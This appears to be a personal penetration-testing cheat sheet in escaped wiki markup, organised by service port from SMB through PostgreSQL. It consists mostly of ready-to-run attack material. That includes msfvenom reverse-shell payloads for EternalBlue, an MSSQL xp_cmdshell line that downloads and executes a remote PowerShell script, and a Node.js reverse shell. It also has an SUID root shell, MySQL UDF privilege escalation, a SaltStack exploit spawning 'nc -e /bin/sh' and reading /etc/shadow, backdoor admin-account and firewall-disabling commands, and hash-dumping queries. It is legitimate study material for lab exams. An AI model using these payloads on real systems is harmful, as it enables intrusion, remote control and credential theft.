&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -A&lt;br /&gt;
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254&lt;br /&gt;
nbtscan -r 192.168.11.0/24&lt;br /&gt;
nmblookup -A target&lt;br /&gt;
rpcclient -U &amp;quot;&amp;quot; target // connect as blank user /nobody&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient -L //&lt;br /&gt;
smbclient //192.168.31.147/kathy -I 192.168.31.147&lt;br /&gt;
smbmap -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;guest&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H  -R&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -d MYGROUP -H 10.11.1.22&lt;br /&gt;
crackmapexec smb&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;guest&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039; --shares&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount share ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mount -t auto --source //x.x.x.x&lt;br /&gt;
mount -t cifs //x.x.x.x/share /mnt/share&lt;br /&gt;
mount -t cifs -o &amp;quot;username=user,password=password&amp;quot; //x.x.x.x/share /mnt/share&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient /// -U&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psexec.py /:@&lt;br /&gt;
psexec.py /@ -hashes :&lt;br /&gt;
wmiexec.py /:@&lt;br /&gt;
wmiexec.py /@ -hashes :&lt;br /&gt;
smbexec.py /:@&lt;br /&gt;
smbexec.py /@ -hashes :&lt;br /&gt;
atexec.py /:@&lt;br /&gt;
atexec.py /@ -hashes :&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Eternal Blue ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
MS17-010 - EternalBlue&lt;br /&gt;
MS08-067 - MS08-067&lt;br /&gt;
CVE-2017-7494 - CVE-2017-7494&lt;br /&gt;
# Send_and_Exectue.py&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; exploit.exe&lt;br /&gt;
python2 send_and_execute.py 10.10.10.40 exploit.exe&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# Command Execution&lt;br /&gt;
https://www.exploit-db.com/exploits/42315&lt;br /&gt;
# Uncomment this line and add your CMD&lt;br /&gt;
service_exec(conn, r&#039;cmd /c copy c:\pwned.txt c:\pwned_exec.txt&#039;)&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# AutoBlue&lt;br /&gt;
# Generate shellcode from shell_prep.sh&lt;br /&gt;
https://github.com/3ndG4me/AutoBlue-MS17-010&lt;br /&gt;
python eternalblue_exploit*.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Man in the middle ===&lt;br /&gt;
&lt;br /&gt;
==== URI file attack ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for Vault&lt;br /&gt;
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.&lt;br /&gt;
Kali &amp;gt; cat @file.url # Can also save as desktop.ini&lt;br /&gt;
[InternetShortcut]&lt;br /&gt;
URL=anything&lt;br /&gt;
WorkingDirectory=anything&lt;br /&gt;
IconFile=\\192.168.118.14\%USERNAME%.icon&lt;br /&gt;
IconIndex=1&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0 -v&lt;br /&gt;
# Hashtype&lt;br /&gt;
net-NTLMv2&lt;br /&gt;
# Upload file to SMB and wait for a user to access the file.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 161 - SNMP ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snmp-check  [-p PORT]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 194,6667,6660-7000 - IRC ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Can use different clients, like irssi&lt;br /&gt;
# See notes from box; UT99&lt;br /&gt;
#Connection with random nickname&lt;br /&gt;
USER ran213eqdw123 0 * ran213eqdw123&lt;br /&gt;
NICK ran213eqdw123&lt;br /&gt;
#If a PING : is responded you need to send&lt;br /&gt;
#PONG :&lt;br /&gt;
VERSION&lt;br /&gt;
HELP&lt;br /&gt;
INFO&lt;br /&gt;
LINKS&lt;br /&gt;
HELPOP USERCMDS&lt;br /&gt;
HELPOP OPERCMDS&lt;br /&gt;
OPERATOR CAPA&lt;br /&gt;
ADMIN      #Admin info&lt;br /&gt;
USERS      #Current number of users&lt;br /&gt;
TIME       #Server&#039;s time&lt;br /&gt;
STATS a    #Only operators should be able to run this&lt;br /&gt;
NAMES      #List channel names and usernames inside of each channel -&amp;gt; Nombre del canal y nombre de las personas que estan dentro&lt;br /&gt;
LIST       #List channel names along with channel banner&lt;br /&gt;
WHOIS       #WHOIS a username&lt;br /&gt;
USERHOST    #If available, get hostname of a user&lt;br /&gt;
USERIP      #If available, get ip of a user&lt;br /&gt;
JOIN    #Connect to a channel&lt;br /&gt;
#Operator creds Brute-Force&lt;br /&gt;
OPER&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 389, 636, 3268, 3269 - LDAP ==&lt;br /&gt;
&lt;br /&gt;
=== Enumerate LDAP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389 dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump LDAP info ===&lt;br /&gt;
&lt;br /&gt;
Must have valid credentials&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip3 install ldapdomaindump&lt;br /&gt;
ldapdomaindump  [-r ] -u &#039;\&#039; -p &#039;&#039; [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search queries ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.&lt;br /&gt;
ldapsearch -x -h  -b &amp;quot;dc=XXXX&amp;quot;&lt;br /&gt;
# Example&lt;br /&gt;
ldapsearch -x -H LDAP://192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 873 - rsync ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync&lt;br /&gt;
# List shares&lt;br /&gt;
rsync -av --list-only rsync://192.168.243.126/&lt;br /&gt;
# Upload files&lt;br /&gt;
rsync -av test.txt rsync://192.168.243.126/fox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload SSH key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate an SSH key&lt;br /&gt;
ssh-keygen -t rsa&lt;br /&gt;
# 2 If you are in a users folder, create a .ssh&lt;br /&gt;
mkdir .ssh&lt;br /&gt;
rsync -av .ssh TARGET_IP/home_dir/&lt;br /&gt;
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file&lt;br /&gt;
touch authorized_keys&lt;br /&gt;
echo -n &#039;CONTENT of id_rsa.pub&#039; &amp;gt;&amp;gt; authorized_keys&lt;br /&gt;
# 4 Transfer the authorized_keys to the target&lt;br /&gt;
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/&lt;br /&gt;
# 5 SSH into the machine. You need to know the owner of home_dir&lt;br /&gt;
ssh -i id_rsa USER@TARGETIP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/&lt;br /&gt;
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1098/1099/1050 - Java RMI ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Running Remote Method Guesser&lt;br /&gt;
# https://github.com/qtc-de/remote-method-guesser#installation&lt;br /&gt;
java -jar rmg-4.3.0-jar-with-dependencies.jar&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1433 - MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft SQL Server 2017 directory locations ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Execute commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands&lt;br /&gt;
# Log in to mssql&lt;br /&gt;
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@&lt;br /&gt;
# Execute commands&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
# this turns on advanced options and is needed to configure xp_cmdshell&lt;br /&gt;
sp_configure &#039;show advanced options&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# this enables xp_cmdshell&lt;br /&gt;
sp_configure &#039;xp_cmdshell&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# Quickly check what the service account is via xp_cmdshell&lt;br /&gt;
EXEC master..xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
# Bypass blackisted &amp;quot;EXEC xp_cmdshell&amp;quot;&lt;br /&gt;
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== xp_cmdshell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands&lt;br /&gt;
# Need credentials&lt;br /&gt;
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G&lt;br /&gt;
    ###the goal is to get xp_cmdshell working###&lt;br /&gt;
    1. try and see if it works&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    2. try to turn component back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    3. &#039;advanced&#039; turn it back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;show advanced options&#039;, 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
        go&lt;br /&gt;
    xp_cmdshell &amp;quot;powershell.exe -exec bypass iex(new-object net.webclient).downloadstring(&#039;http://10.10.14.60:8000/ye443.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extracting hashes from .mdf file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation&lt;br /&gt;
# read this if troulbe&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation/issues/1&lt;br /&gt;
# Run Powershell on linux&lt;br /&gt;
pwsh&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.RawCore.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.Framework.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; import-module .\Get-MDFHashes.ps1&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Get-MDFHashes -mdf &amp;quot;./master.mdf&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1521, 1522-1529 - Oracle TNS Listener ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1978, 1979, 1980 - Remote Mouse ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use nc to check header&lt;br /&gt;
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.&lt;br /&gt;
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.&lt;br /&gt;
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.&lt;br /&gt;
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit&lt;br /&gt;
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 2049 - NFS ==&lt;br /&gt;
&lt;br /&gt;
=== no_root_squash ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS&lt;br /&gt;
&lt;br /&gt;
=== Access NFS through ssh tunnel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c&lt;br /&gt;
# Output from /etc/exports on target&lt;br /&gt;
/srv/Share 10.1.1.0/24(insecure,rw)&lt;br /&gt;
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)&lt;br /&gt;
# Forward connection - Run the ssh command on attacker&lt;br /&gt;
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049&lt;br /&gt;
mount -t nfs 127.0.0.1:/srv/pelota my_share&lt;br /&gt;
cd my_share&lt;br /&gt;
cat &amp;gt; shell.c&lt;br /&gt;
int main(){&lt;br /&gt;
  setuid(0);&lt;br /&gt;
  setgid(0);&lt;br /&gt;
  system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
EOF&lt;br /&gt;
gcc shell.c -o shell&lt;br /&gt;
chmod u+s shell&lt;br /&gt;
# Reverse connection - Run the ssh command on target&lt;br /&gt;
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.&lt;br /&gt;
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176&lt;br /&gt;
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3000 - NodeJs ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell&lt;br /&gt;
# The Javascript code below is a Node.js reverse shell.&lt;br /&gt;
# Remember to change the IP address and PORT with the nc you are running.&lt;br /&gt;
(function(){&lt;br /&gt;
    var net = require(&amp;quot;net&amp;quot;),&lt;br /&gt;
        cp = require(&amp;quot;child_process&amp;quot;),&lt;br /&gt;
        sh = cp.spawn(&amp;quot;/bin/sh&amp;quot;, []);&lt;br /&gt;
    var client = new net.Socket();&lt;br /&gt;
    client.connect(8080, &amp;quot;192.168.33.1&amp;quot;, function(){&lt;br /&gt;
        client.pipe(sh.stdin);&lt;br /&gt;
        sh.stdout.pipe(client);&lt;br /&gt;
        sh.stderr.pipe(client);&lt;br /&gt;
    });&lt;br /&gt;
    return /a/; // Prevents the Node.js application form crashing&lt;br /&gt;
})();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3306 - MySQL/MariaDB ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf&lt;br /&gt;
# User-defined function (UDF)&lt;br /&gt;
# If you can login as root you can create a malicious functions to run commands.&lt;br /&gt;
https://www.exploit-db.com/exploits/1518&lt;br /&gt;
# You can also compile it on attacker if target dont have gcc. Use --static.&lt;br /&gt;
# Check if secure_file_priv. If empty means disabled&lt;br /&gt;
show variables like &#039;%secure_file_priv%&#039;;&lt;br /&gt;
# Find plugin path. Add the path on step file (dumpfile)&lt;br /&gt;
show variables like &#039;%plugin%&#039;;&lt;br /&gt;
$ gcc -g -c raptor_udf2.c&lt;br /&gt;
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc&lt;br /&gt;
# Can also transfer exploit raptor_udf2.so with hex.&lt;br /&gt;
## xxd -p raptor_udf2.so | tr -d &#039;\n&#039; &amp;gt; raptor_udf2.so.hex&lt;br /&gt;
 * $ mysql -u root -p&lt;br /&gt;
 * Enter password:&lt;br /&gt;
 * [...]&lt;br /&gt;
# Set variable for shellcode&lt;br /&gt;
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
 * mysql&amp;gt; use mysql;&lt;br /&gt;
 * mysql&amp;gt; create table foo(line blob);&lt;br /&gt;
 * mysql&amp;gt; insert into foo values(load_file(&#039;/home/raptor/raptor_udf2.so&#039;));&lt;br /&gt;
# Output shellcode to file on target&lt;br /&gt;
## select binary @shell into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from foo into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; create function do_system returns integer soname &#039;raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from mysql.func;&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | name      | ret | dl             | type     |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | do_system |   2 | raptor_udf2.so | function |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * mysql&amp;gt; select do_system(&#039;id &amp;gt; /tmp/out; chown raptor.raptor /tmp/out&#039;);&lt;br /&gt;
# OR&lt;br /&gt;
select do_system(&#039;cp /bin/bash /tmp/out; chmod +xs /tmp/out&#039;);&lt;br /&gt;
 * mysql&amp;gt; \! sh&lt;br /&gt;
 * sh-2.05b$ cat /tmp/out&lt;br /&gt;
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)&lt;br /&gt;
 * [...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation method 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mysqludf/lib_mysqludf_sys&lt;br /&gt;
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.&lt;br /&gt;
xxd -p lib_mysqludf_sys.so| tr -d &#039;\n&#039; &amp;gt; lib_mysqludf_sys.so.hex&lt;br /&gt;
cat lib_mysqludf_sys.so.hex |  xclip -selection clipboard&lt;br /&gt;
MariaDB [(none)]&amp;gt; select @@plugin_dir&lt;br /&gt;
MariaDB [(none)]&amp;gt;  set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this &#039;/usr/lib/lib_mysqludf_sys.so&lt;br /&gt;
MariaDB [(none)]&amp;gt; create function sys_exec returns int soname &#039;udf_sys_exec.so&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select * from mysql.func where name=&#039;sys_exec&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select sys_exec(&#039;cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/mysqludf/lib_mysqludf_sys.git&lt;br /&gt;
cd lib_mysqludf_sys&lt;br /&gt;
rm lib_mysqludf_sys.so&lt;br /&gt;
sed -i &#039;s|$(LIBDIR)|.|g&#039; Makefile&lt;br /&gt;
sed -i &#039;s|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g&#039; Makefile&lt;br /&gt;
ex lib_mysqludf_sys.c &amp;lt;&amp;lt;&amp;lt;&amp;quot;57,62m27|wq&amp;quot;&lt;br /&gt;
sudo apt install libmariadbd-dev&lt;br /&gt;
make&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3389 - RDP ==&lt;br /&gt;
&lt;br /&gt;
=== Add user and enable RDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md&lt;br /&gt;
net user aghanim Password123 /add&lt;br /&gt;
net localgroup Administrators aghanim /add&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; aghanim /ADD&lt;br /&gt;
# Enable RDP&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
Turn firewall off&lt;br /&gt;
netsh firewall set opmode disable&lt;br /&gt;
Or like this&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
If you get this error:&lt;br /&gt;
&amp;quot;ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?&lt;br /&gt;
Failed to connect, CredSSP required by server.&amp;quot;&amp;quot;&lt;br /&gt;
Add this reg key:&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&amp;quot; /v UserAuthentication /t REG_DWORD /&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ThinVNC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47519&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 4505, 4506 - zmtp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in&lt;br /&gt;
# https://github.com/jasperla/CVE-2020-11651-poc&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 --exec &amp;quot;nc 127.0.0.1 4444 -e /bin/sh&amp;quot;&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 -r /etc/shadow&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5432, 5433 - PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psql -U  # Open psql console with user&lt;br /&gt;
psql -h  -U  -d  # Remote connection&lt;br /&gt;
psql -h  -p  -U  -W   # Remote connection&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
psql -h localhost -d  -U  #Password will be prompted&lt;br /&gt;
\list # List databases&lt;br /&gt;
\c  # use the database&lt;br /&gt;
\d # List tables&lt;br /&gt;
\du+ # Get users roles&lt;br /&gt;
#Read a file&lt;br /&gt;
CREATE TABLE demo(t text);&lt;br /&gt;
COPY demo from &#039;[FILENAME]&#039;;&lt;br /&gt;
SELECT * FROM demo;&lt;br /&gt;
#Write ascii to a file (copy to cannot copy binary data)&lt;br /&gt;
COPY (select convert_from(decode(&#039;&#039;,&#039;base64&#039;),&#039;utf-8&#039;)) to &#039;C:\\some\\interesting\path.cmd&#039;;&lt;br /&gt;
#List databases&lt;br /&gt;
SELECT datname FROM pg_database;&lt;br /&gt;
#Read credentials (usernames + pwd hash)&lt;br /&gt;
SELECT usename, passwd from pg_shadow;&lt;br /&gt;
#Check if current user is superiser&lt;br /&gt;
SELECT current_setting(&#039;is_superuser&#039;); #If response is &amp;quot;on&amp;quot; then true, if &amp;quot;off&amp;quot; then false&lt;br /&gt;
#Check if plpgsql is enabled&lt;br /&gt;
SELECT lanname,lanacl FROM pg_language WHERE lanname = &#039;plpgsql&#039;&lt;br /&gt;
#Change password&lt;br /&gt;
ALTER USER user_name WITH PASSWORD &#039;new_password&#039;;&lt;br /&gt;
